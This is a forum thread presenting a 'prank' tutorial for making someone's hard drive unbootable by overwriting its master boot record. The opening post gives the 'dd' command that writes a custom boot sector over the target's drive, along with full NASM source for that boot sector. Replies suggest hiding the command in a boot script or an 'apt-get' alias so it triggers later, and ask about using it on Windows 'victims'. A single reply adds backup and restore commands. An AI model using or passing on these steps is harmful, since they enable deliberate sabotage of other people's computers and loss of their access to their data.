No Boot4U prank (destructive) - Printable Version

No Boot4U prank (destructive) - Printable Version

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No Boot4U prank (destructive) - h3r0 - 08-07-2014

I got bored and created a little boot loader in assembly language
(You can learn the basics of it here)

And I decided why not make a little prank tutorial out of it...

The Warning: Keep in mind this "prank" can be extremely destructive of an hdd. And might make someone just about kill you. Also I tested this on DSL (Damn small linux) in a virtual box, I suggest you do the same.

The Result: An un-bootable hard drive and a very upset user who now have to fix their mbr. Every time the user boots into that hard drive they can no longer get past anything but your taunting message.

The Prank:
Requirements...

A bin file designed to take up the first 512 bytes of a hard drive
root (big requirement, I know)
way to download boot.bin to the computer

Let's get started..

Step 1
Log into the target system

Step 2
Download boot.bin file, I had mine on a local webserver

Step 3
Use dd (For windows use this) and enter the following

Code:
dd if=boot.bin of=/dev/hda bs=512 count=1

input file = boot.bin
output file = /dev/hda
bs = read up to 512 bytes
count = 1 iteration

/dev/hda is the main bootable hard drive (you'll have to figure this part out because it is most likely different on your system)

Step 4
Reboot!

Step 5
Laugh when your sys admin cries..

Source Code for my boot.bin, make sure you compile with nasm

Code:
[BITS 16]
[ORG 0x7C00]

MOV SI, Msg
CALL OutStr
JMP $

OutChar:
  MOV AH, 0x0E
  MOV BH, 0x00
  MOV BL, 0x07

  INT 0x10
RET

OutStr:
  next_char:
  MOV AL, [SI]
  INC SI
  OR AL, AL
  JZ exit_function
  CALL OutChar
  JMP next_char
  exit_function:
RET

Msg db 0xA, 0xD, 0xA, 0xD
        db 'Hello from...', 0xA, 0xD, 0xA, 0xD
        db ' #     #  #####  #####   #######', 0xA, 0xD
        db ' #     #      #  #    #  # #   #', 0xA, 0xD
        db ' #######   ####  #    #  #  #  #', 0xA, 0xD
        db ' #     #      #  ####    #   # #', 0xA, 0xD
        db ' #     #  #####  #    #  #######', 0xA, 0xD
        db '                               ', 0xA, 0xD
        db '           [Good Bye]', 0

TIMES 510 - ($ - $$) db 0
DW 0xAA55

I hope you enjoy this and I'm not responsible for you getting beat up.

RE: No Boot4U prank (destructive) - Aut•ono•mous - 08-07-2014

That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

RE: No Boot4U prank (destructive) - h3r0 - 08-07-2014

(08-07-2014, 09:13 PM)Aut•ono•mous Wrote: That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

Go for it, keep in mind where I build out the string the character 0xA is for new line, but you also need 0xD for "return".
And to compile (in nasm) run..

Code:
nasm source.asm -f bin -o boot.bin

And I like to test in qemu instead of putting it on an MBR and booting it, etc.

If this is the type of person to not shut down their computer all of the time you could get a couple of days in. before wrecking them.

RE: No Boot4U prank (destructive) - Aut•ono•mous - 08-07-2014

(08-07-2014, 09:18 PM)h3r0 Wrote:
(08-07-2014, 09:13 PM)Aut•ono•mous Wrote: That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

Go for it, keep in mind where I build out the string the character 0xA is for new line, but you also need 0xD for "return".
And to compile (in nasm) run..

Code:
nasm source.asm -f bin -o boot.bin

And I like to test in qemu instead of putting it on an MBR and booting it, etc.

If this is the type of person to not shut down their computer all of the time you could get a couple of days in. before wrecking them.

My target is actually going to be my own server. My roommate is a networking major, so does all my management for me, but I haven't told him that I backed it up for when my new NAS drives arrive, so I'm going to let him believe he ruined my server. Wink

RE: No Boot4U prank (destructive) - h3r0 - 08-07-2014

(08-07-2014, 09:22 PM)Aut•ono•mous Wrote:
(08-07-2014, 09:18 PM)h3r0 Wrote:
(08-07-2014, 09:13 PM)Aut•ono•mous Wrote: That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

Go for it, keep in mind where I build out the string the character 0xA is for new line, but you also need 0xD for "return".
And to compile (in nasm) run..

Code:
nasm source.asm -f bin -o boot.bin

And I like to test in qemu instead of putting it on an MBR and booting it, etc.

If this is the type of person to not shut down their computer all of the time you could get a couple of days in. before wrecking them.

My target is actually going to be my own server. My roommate is a networking major, so does all my management for me, but I haven't told him that I backed it up for when my new NAS drives arrive, so I'm going to let him believe he ruined my server.

That's a little evil ahahah.. Keep in mind the fix for this isn't super bad either..

Before running this run..
dd if=/dev/[your harddrive here] of=mbr.bak bs=512 count=1
then save mbr.bak somewhere safe.

And when you're ready to restor it, boot into a usb stick with linux on it and run
dd if=/path/to/mbr.bak of=/dev/[your hdd] bs=512 count=1

RE: No Boot4U prank (destructive) - Aut•ono•mous - 08-07-2014

(08-07-2014, 09:26 PM)h3r0 Wrote:
(08-07-2014, 09:22 PM)Aut•ono•mous Wrote:
(08-07-2014, 09:18 PM)h3r0 Wrote:
(08-07-2014, 09:13 PM)Aut•ono•mous Wrote: That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

Go for it, keep in mind where I build out the string the character 0xA is for new line, but you also need 0xD for "return".
And to compile (in nasm) run..

Code:
nasm source.asm -f bin -o boot.bin

And I like to test in qemu instead of putting it on an MBR and booting it, etc.

If this is the type of person to not shut down their computer all of the time you could get a couple of days in. before wrecking them.

My target is actually going to be my own server. My roommate is a networking major, so does all my management for me, but I haven't told him that I backed it up for when my new NAS drives arrive, so I'm going to let him believe he ruined my server.

That's a little evil ahahah.. Keep in mind the fix for this isn't super bad either..

Before running this run..
dd if=/dev/[your harddrive here] of=mbr.bak bs=512 count=1
then save mbr.bak somewhere safe.

And when you're ready to restor it, boot into a usb stick with linux on it and run
dd if=/path/to/mbr.bak of=/dev/[your hdd] bs=512 count=1

Perfect! ..but my NAS drives are going to be put in hopefully tonight if I find time, so I'm not even worried about data loss. I'm just wondering how long I'll keep this going when he starts apologizing. Wink

RE: No Boot4U prank (destructive) - chmod - 08-07-2014

(08-07-2014, 09:13 PM)Aut•ono•mous Wrote: That is awesome! I'm going to build my own off your source, but I have a feeling there's a few people who aren't going to be too happy about this.. LOL.

Also, think there's any way to set the command-line as a scheduled task of sorts? So it happens like a day later? Or I guess I could always set it to reboot at a specific time so it works properly until then.

I suppose you could write a small bash script and set it to execute the dd command upon boot so, the next time the user boots the script runs and copies over the MBR, then reboot 2 does the damage. or use alias to append the dd command to something else (like apt-get) and wait until he updates.

RE: No Boot4U prank (destructive) - L0aD1nG - 08-07-2014

Thats amazing I love that kind of pranks!!We can't do it if they (victims) use Windows??
Either way thanks for sharing this dude, good job!!

RE: No Boot4U prank (destructive) - h3r0 - 08-07-2014

(08-07-2014, 09:51 PM)L0aD1nG Wrote: Thats amazing I love that kind of pranks!!We can't do it if they (victims) use Windows??
Either way thanks for sharing this dude, good job!!

You can I link to a version of dd for windows in the tutorial, and I believe you'll have to run it as an admin. As for the drive path I'm not sure what you'll have to put in.

RE: No Boot4U prank (destructive) - chmod - 08-07-2014

(08-07-2014, 10:19 PM)h3r0 Wrote:
(08-07-2014, 09:51 PM)L0aD1nG Wrote: Thats amazing I love that kind of pranks!!We can't do it if they (victims) use Windows??
Either way thanks for sharing this dude, good job!!

You can I link to a version of dd for windows in the tutorial, and I believe you'll have to run it as an admin. As for the drive path I'm not sure what you'll have to put in.

dd --list would be a good starting point